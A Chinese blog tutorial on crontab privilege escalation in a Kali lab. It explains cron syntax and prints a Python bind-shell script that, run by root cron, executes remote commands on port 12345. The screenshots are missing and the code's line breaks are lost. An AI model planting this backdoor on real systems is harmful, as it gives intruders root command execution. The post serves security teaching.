计划任务提权crontab提权(kali linux搭建试验)

admin 2023年1月19日22:55:06评论70 views字数 1195阅读3分59秒阅读模式

crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。该词来源于希腊语 chronos(χρνο),原意是时间。通常,crontab储存的指令被守护进程激活, crond常常在后台运行,每一分钟检查是否有预定的作业需要执行。这类作业一般称为cron jobs。

用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:

minute hour day month week command

其中:

minute:表示分钟,可以是从0到59之间的任何整数。

hour:示小时,可以是从0到23之间的任何整数。

day:表示日期,可以是从1到31之间的任何整数。

month:表示月份,可以是从1到12之间的任何整数。

week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。

command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。

下面我们来利用系统会周期性的去执行特定的指令来提权
在kali下面输入命令:

cat /etc/crontab

计划任务提权crontab提权(kali linux搭建试验)

我们修改/etc/crontab 添加一行内容

计划任务提权crontab提权(kali linux搭建试验)

nanhack.py 代码如下

计划任务提权crontab提权(kali linux搭建试验)

文件已经创建成功,因为是root权限执行,当前目录直接在root目录

**提权方法:**

我们替换nanhack.py 为如下内容:

import socketimport os#AF_INET 代表ipv4 SOCK_STREAM==>tcps = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(('0.0.0.0', 12345))s.listen(5)
while True: conn, addr = s.accept() for i in range(10): cmd = conn.recv(1024) print(cmd) command = cmd.decode(encoding='utf-8') if command.startswith("cd"): os.chdir(command[2:].strip()) result = os.getcwd() else: result = os.popen(command).read() if result: conn.send(result.encode('utf-8')) else: conn.send(b'ok')

这段代码的含义是:不断监听12345端口,并等待其他机器链接,并执行传递的命令。

计划任务提权crontab提权(kali linux搭建试验)

等待目标执行后,我们启动客户端 client.py

计划任务提权crontab提权(kali linux搭建试验)

我们在本机运行 client.py ,结果如下:

计划任务提权crontab提权(kali linux搭建试验)

至此,提权成功!

原文始发于微信公众号(必火安全):计划任务提权crontab提权(kali linux搭建试验)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月19日22:55:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   计划任务提权crontab提权(kali linux搭建试验)http://cn-sec.com/archives/1521933.html

发表评论

匿名网友 填写信息